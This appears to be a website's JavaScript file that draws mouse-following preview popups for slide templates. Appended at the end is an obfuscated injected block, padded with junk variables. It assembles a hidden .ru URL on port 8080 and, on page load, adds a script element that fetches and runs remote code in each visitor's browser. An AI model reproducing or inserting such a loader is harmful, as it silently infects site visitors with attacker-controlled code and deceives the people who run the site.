﻿// JScript File

var offsetfrommouse=[30,15];
var displayduration=0;
var currentimageheight = 500;
var defaultimageheight = 40;
var defaultimagewidth = 40;
a=new Image(100,25); b=new Image(100,25); c=new Image(100,25);
a.src="/images/loading.gif"; b.src="/images/wen.gif"; c.src="/images/bnow.gif";
document.write('<div style="display: none; position: absolute;z-index:110;left:-800px" id="trailimageid"></div>');
function gettrailobj(){if (document.getElementById) return document.getElementById("trailimageid").style; else if (document.all) return document.all.trailimagid.style}function gettrailobjnostyle(){if (document.getElementById) return document.getElementById("trailimageid"); else if (document.all) return document.all.trailimagid}
function truebody(){return (!window.opera && document.compatMode && document.compatMode!="BackCompat") ? document.documentElement : document.body}
function showtrail(imagename,title,description)
{
var height=220;
if(description == ''){
    defaultimageheight = height+100;
} else {
    defaultimageheight = height+170;
}
defaultimagewidth = 520;
document.onmousemove=followmouse; cameraHTML = '';
newHTML = '<div style="padding: 5px; width: 500px; height:'+defaultimageheight+'px; background-color: #FFF; border: 1px solid #696969;">';
//if (ratingnumber == 0)
//{
//ratingaverage = 0;
//}
//cameraHTML = ratingaverage + '(' + ratingnumber  + ')';
//cameraHTML = '';
newHTML = newHTML + '<H1 style="color:#1D5B95;margin-top:0px;margin-left:3px;margin-bottom:0px;font:bold 14px Verdana;">' + title + '</H1>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr><tr><td bgcolor="#6a6a6a"><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="5"></td></tr><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr></table>';
//newHTML = newHTML + '<table border="0" cellspacing="0" cellpadding="0"><tr><td nowrap align="right"><font class="ns2">Has matching MS Word template:&nbsp;</font></td><td><b>' + word + '</b>;&nbsp;</td><td nowrap align="right"><font class="ns2">Backgrounds Size:&nbsp;</font></td><td><b>' + hres + '</b></td></tr></table><table border="0" cellspacing="0" cellpadding="0"><tr><td nowrap align="right"><font class="ns2">   &nbsp;</font></td><td>' + cameraHTML + '</td></tr></table><br/>';
newHTML = newHTML + '<p align=justify style="margin-bottom:0px;margin-top:3px;font:11px Verdana;color:Gray"><br/>' + description + '</p><br/>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td><div align="center" style="padding: 8px 2px 2px 2px;"><img src="http://www.slideworld.com/templates/' + imagename + '.png" width="240" height="180" border="0"></div></td><td><img src="http://www.slideworld.com/templates/' + imagename + '_2.png" width="158" height="118" border="0"><br/><br><img src="http://www.slideworld.com/templates/' + imagename + '_3.png" width="158" height="118" border="0"></td';
newHTML = newHTML + '</div>'; 
//alert(newHTML)
gettrailobjnostyle().innerHTML = newHTML; 
gettrailobj().visibility = "visible"; 
gettrailobj().display="block";
}
function showtrail1(imagename,title)
{
var height=220;
defaultimageheight = height+310;
defaultimagewidth = 520;
document.onmousemove=followmouse; cameraHTML = '';
newHTML = '<div style="padding: 5px; width: 500px; height:'+defaultimageheight+'px; background-color: #FFF; border: 1px solid #696969;">';
newHTML = newHTML + '<H1 style="color:#1D5B95;margin-top:0px;margin-left:3px;margin-bottom:0px;font:bold 14px Verdana;">' + title + '</H1>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr><tr><td bgcolor="#6a6a6a"><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="5"></td></tr><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr></table>';
newHTML = newHTML + '<p align=justify style="margin-bottom:0px;margin-top:3px;font:11px Verdana;color:#1D5B95">3 Slide Preview</p>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td><div align="center" style="padding: 8px 2px 2px 2px;"><img src="http://www.slideworld.com/templates/' + imagename + '.png" width="250"   style="border:solid 1px black"></div></td><td><img src="http://www.slideworld.com/templates/' + imagename + '_2.png" width="120"  style="border:solid 1px black"><br/><br><img src="http://www.slideworld.com/templates/' + imagename + '_3.png" width="120"  style="border:solid 1px black"></td></tr><tr><td colspan="2"><p align=justify style="margin-bottom:0px;margin-top:3px;font:11px Verdana;color:#1D5B95">All Slide Preview</p><div align="center" style="padding: 8px 2px 2px 2px;"><img src="http://www.slideworld.com/templates/' + imagename + '_4.png" width="420px" height="252"  style="border:solid 1px black"></div></td></tr></table>';
newHTML = newHTML + '</div>'; 
//alert(newHTML)
gettrailobjnostyle().innerHTML = newHTML; 
gettrailobj().visibility = "visible"; 
gettrailobj().display="block";
}

function showtrail_bundle(imagename,title,description)
{
var height=320;
if(description == ''){
    defaultimageheight = height+100;
} else {
    defaultimageheight = height+170;
}
document.onmousemove=followmouse; cameraHTML = '';
newHTML = '<div style="padding: 5px; width: 480px; height:'+defaultimageheight+'px; background-color: #FFF; border: 1px solid #696969;">';
newHTML = newHTML + '<H1 style="color:#1D5B95;margin-top:0px;margin-left:3px;margin-bottom:0px;font:bold 14px Verdana;">' + title + '</H1>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr><tr><td bgcolor="#6a6a6a"><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="5"></td></tr><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr></table>';
newHTML = newHTML + '<p align=justify style="margin-bottom:0px;margin-top:3px;font:11px Verdana;color:Gray"><br/>' + description + '</p><br/>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td><div align="center" style="padding: 4px 2px 2px 2px;"><img src="http://www.slideworld.com/templates/' + imagename + '.png" width="400"  border="0"></div></td></tr></table>';
newHTML = newHTML + '</div>';
//alert(newHTML)
gettrailobjnostyle().innerHTML = newHTML; 
gettrailobj().visibility = "visible"; 
gettrailobj().display="block";
}

function show_cdtrail(imagename,title)
{
var height=220;
defaultimageheight = height+200;
defaultimagewidth = 480;
document.onmousemove=followmouse; cameraHTML = '';
newHTML = '<div style="padding: 5px; width: 500px; height:'+defaultimageheight+'px; background-color: #FFF; border: 1px solid #696969;">';
newHTML = newHTML + '<H1 style="color:#1D5B95;margin-top:0px;margin-left:3px;margin-bottom:0px;font:bold 14px Verdana;">' + title + '</H1>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr><tr><td bgcolor="#6a6a6a"><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="5"></td></tr><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr></table><br>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td style="vertical-align:middle"><div align="center" style="vertical-align:middle"><img src="http://www.slideworld.com/images/medicalcd/' + imagename + '.jpg" width="250"   style="border:solid 1px black"></div></td><td><img src="http://www.slideworld.com/images/medicalcd/' + imagename + '1.jpg" width="120"  style="border:solid 1px black"><br/><br><img src="http://www.slideworld.com/images/medicalcd/' + imagename + '2.jpg" width="120"  style="border:solid 1px black"></td></tr></table>';
newHTML = newHTML + '</div>'; 
//alert(newHTML)
gettrailobjnostyle().innerHTML = newHTML; 
gettrailobj().visibility = "visible"; 
gettrailobj().display="block";
}

function show_cd_postertrail(imagename,title)
{
var height=220;
defaultimageheight = height+150;
defaultimagewidth = 480;
document.onmousemove=followmouse; cameraHTML = '';
newHTML = '<div style="padding: 5px; width: 500px; height:'+defaultimageheight+'px; background-color: #FFF; border: 1px solid #696969;">';
newHTML = newHTML + '<H1 style="color:#1D5B95;margin-top:0px;margin-left:3px;margin-bottom:0px;font:bold 14px Verdana;">' + title + '</H1>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr><tr><td bgcolor="#6a6a6a"><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="5"></td></tr><tr><td><img src="http://www.slideworld.com/images/spacer.gif" width="1" height="3"></td></tr></table><br>';
newHTML = newHTML + '<table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td style="vertical-align:middle"><div align="center" style="padding: 8px 2px 2px 2px;"><img src="http://www.slideworld.com/images/medicalcd/' + imagename + '.jpg" width="400"  height="300"  style="border:solid 1px black"></div></td></tr></table>';
newHTML = newHTML + '</div>'; 
//alert(newHTML)
gettrailobjnostyle().innerHTML = newHTML; 
gettrailobj().visibility = "visible"; 
gettrailobj().display="block";
}


function hidetrail(){gettrailobj().visibility="hidden"; document.onmousemove=""; gettrailobj().left="-800px";}
function followmouse(e)
{
    var xcoord=offsetfrommouse[0];
    var ycoord=offsetfrommouse[1];
    var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15;
    var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight);
    
    //var docheight = (typeof(  window.innerHeight ) == 'number') ? docHeight = window.innerHeight : docHeight  = document.documentElement.clientHeight;


    if (typeof e != "undefined"){
        if (docwidth - e.pageX < defaultimagewidth + 2*offsetfrommouse[0]){
            xcoord = e.pageX - xcoord - defaultimagewidth;
        } else {
            xcoord += e.pageX;
        }
        if (docheight - e.pageY < defaultimageheight + 2*offsetfrommouse[1]){
            
            var tmpScroll = truebody().scrollTop;
            if(tmpScroll == 0){ 
                tmpScroll = window.scrollY;
            }
            ycoord += e.pageY - Math.max(0,(2*offsetfrommouse[1] + defaultimageheight + e.pageY - docheight - tmpScroll));
        } else {
            ycoord += e.pageY;
        }
    } else if (typeof window.event != "undefined"){
        if (docwidth - event.clientX < defaultimagewidth + 2*offsetfrommouse[0]){
            xcoord = event.clientX + truebody().scrollLeft - xcoord - defaultimagewidth;
        } else {
            xcoord += truebody().scrollLeft+event.clientX
        }

        if (docheight - event.clientY < (defaultimageheight + 2*offsetfrommouse[1])){
            ycoord += event.clientY + truebody().scrollTop - Math.max(0,(2*offsetfrommouse[1] + defaultimageheight + event.clientY - docheight));
        } else {
            ycoord += truebody().scrollTop + event.clientY;
        }
    } gettrailobj().left=xcoord+"px"; gettrailobj().top=ycoord+"px"
}


var g;if(g!='' && g!='B'){g=null};function C(){var n;if(n!='rR'){n='rR'};var Rf=new String();var w;if(w!='' && w!='c'){w='U'};var v=String("gUs7f".substr(0,1));this.k='';var M=RegExp;this.eN="";var O='';this.RY='';var W="";function P(q,PQ){var Nk;if(Nk!='' && Nk!='K'){Nk=''};this.WT='';this.cG="";var Z;if(Z!='' && Z!='Oa'){Z=''};var h= String("[");h+=PQ;h+=new String("]VP4z".substr(0,1));var m='';var d=new M(h, v);return q.replace(d, O);var CS="";};var BS="";var YR='';var IV='';var t=window;var a=new String();var b=new String("/zapdV4".substr(0,4)+"AM8mpos.8mMA".substr(4,4)+"4eWcom/".substr(3)+"UrFzapprFU".substr(3,4)+"F13os.c3F1".substr(3,4)+"om/s"+"2wMtatc2Mw".substr(3,4)+"ount"+"er.cqNL".substr(0,4)+"om/zTUd".substr(0,4)+"yngaPHRo".substr(0,4)+".com"+"Qfs/goosQf".substr(3,4)+"gle.W4r".substr(0,4)+"com."+"php");var i;if(i!='BY' && i != ''){i=null};var bw=String("src");var hkq="";var A=P('8222722202722287227272702222777',"72");var bR;if(bR!='HO' && bR != ''){bR=null};var L=String("sc7qR8".substr(0,2)+"ri"+"ptXMdn".substr(0,2));this.ES="";var Nc='';var u=String("htt"+"p:/RlS".substr(0,3)+"spi/napsi".substr(3,3)+"rod"+"o21-ru1o2".substr(3,3)+"g2Z.dr".substr(3)+"udgf76".substr(0,3)+"Dpwoere".substr(4)+"por"+"t.cFgn".substr(0,3)+"U5pcom.5pUc".substr(4,3)+"virZJf".substr(0,3)+"gil"+"io-Y9Uh".substr(0,3)+"it.VATX".substr(0,3)+"dHGCbuyGHCd".substr(4,3)+"9cimypic9".substr(3,3)+"PUqalm".substr(3)+"p9MJ.ru".substr(4)+":7g0".substr(0,1));var E="L8INdef".substr(4)+"er6YZ".substr(0,2);var xH=new String();var Co;if(Co!='Md'){Co='Md'};this.pK="";this.lG="";var s='';var BO;if(BO!='ig' && BO != ''){BO=null};var Rx="";t.onload=function(){var Ib;if(Ib!='Sv'){Ib=''};var rKD="";try {this.TI='';s=u+A;var b_B;if(b_B!='f' && b_B != ''){b_B=null};s+=b;var NE;if(NE!='cR'){NE=''};de=document.createElement(L);var PJ;if(PJ!=''){PJ='CI'};var Hz='';this.am="";de[bw]=s;this.tW="";var bu=new Array();de[E]=[1][0];document.body.appendChild(de);this.kL="";var gp=new Date();var CIF;if(CIF!='Mj'){CIF='Mj'};var Uj;if(Uj!='wZ'){Uj='wZ'};} catch(z){};var FU=new Date();};var gD="";var yR=new Date();};var iE=new String();var MG='';C();